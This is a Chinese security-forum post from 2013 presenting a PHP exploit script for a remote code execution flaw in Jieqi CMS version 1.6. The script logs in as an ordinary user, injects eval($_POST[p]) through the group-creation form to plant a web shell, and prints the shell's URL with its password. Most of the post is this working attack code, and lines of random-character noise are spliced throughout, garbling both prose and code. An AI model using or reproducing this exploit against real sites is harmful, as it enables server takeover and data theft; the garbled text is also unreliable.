中国网络渗透测试联盟
标题:
Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP
[打印本页]
作者:
admin
时间:
2013-2-23 11:28
标题:
Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
3 \( e0 o& _7 k/ c7 @. {4 H, f
, a( p. I- D' `0 A( G
3 v5 Y9 G! [7 G& [( h+ E# y2 h6 I
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
2 K) J. J# K! P# m; }
需要有一个能创建圈子的用户。
7 v, d8 G. L# i* q, y- n2 j/ F9 z
, t6 O: p- f0 V! s; g2 N
<?php
/ `# }" `& W( C3 R+ g
6 q }; d/ Z3 x
print_r('
9 p6 t# B, X3 z3 v6 F% N3 J
+---------------------------------------------------------------------------+
" j2 }' f7 e2 }/ @( M6 s
Jieqi CMS V1.6 PHP Code Injection Exploit
2 v5 Z5 S/ G# }$ t5 i9 a
by flyh4t
. r3 _) S/ B5 \0 W( Z2 n
mail: phpsec at hotmail dot com
% s+ B6 a2 A+ k! U: ~. T
team:
http://www.wolvez.org
, B+ ^1 }# O5 e a
+---------------------------------------------------------------------------+
. t# G8 q( L% r
'); /**
6 v6 A2 Y! o( s7 t+ t o" n; w
* works regardless of php.ini settings
0 w! g, ]- J9 ?# w
*/ if ($argc < 5) { print_r('
3 `6 G' y# D4 E" ~' N9 Z
+---------------------------------------------------------------------------+
2 {' p7 I7 E; T3 g5 m" [
Usage: php '.$argv[0].' host path username
& n' z3 i( x& L+ w* U4 K
host: target server (ip/hostname)
+ T7 |4 C, P' w0 P; l
path: path to jieqicms
4 ~2 K5 X8 H+ m8 c2 m7 u
uasename: a username who can create group
9 I% w4 ^+ q; x* R
Example:
8 ~; t9 s" m7 x: ^
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
5 s% C0 T% J; d2 y
+---------------------------------------------------------------------------+
6 V! x6 s1 {' e
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
9 H1 A2 ~! y2 B2 `$ N! v
Content-Disposition: form-data; name="gname"
- v, W: `4 H0 z( B$ e& W
! D4 f/ Z3 T9 {+ z
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
; h; J7 {+ D/ A" W
-----------------------------23281168279961
% L3 R& `# o- l$ @0 ]/ b2 U# v
Content-Disposition: form-data; name="gcatid"
0 K7 S! @, g6 B0 d! C. l `- Q
9 P4 ~1 ~+ |& Y, j( B2 t( j
1
Q$ Z* ^! Q! _- @+ O0 t
-----------------------------23281168279961
2 F4 m/ c+ F4 `3 O2 S1 }
Content-Disposition: form-data; name="gaudit"
, K+ n; Y" p! ]8 ?3 ~& {) I
% C/ I E6 T: J
1
! P5 T7 o( b2 j; m; b! b/ r7 R. ?
-----------------------------23281168279961
8 m* B) X- s% ^( n4 L# j$ A
Content-Disposition: form-data; name="gbrief"
3 S* u3 h4 y: K7 D
& P) `1 C$ r" D* l! I
1
2 I1 B, p6 c) Z* Y1 {3 V) D
-----------------------------23281168279961--
: M9 C- Q+ ?. F4 ~3 G
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean();
www.2cto.com
. \7 f+ G( H) z- W; ]
/ \ j* \ W @- p
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2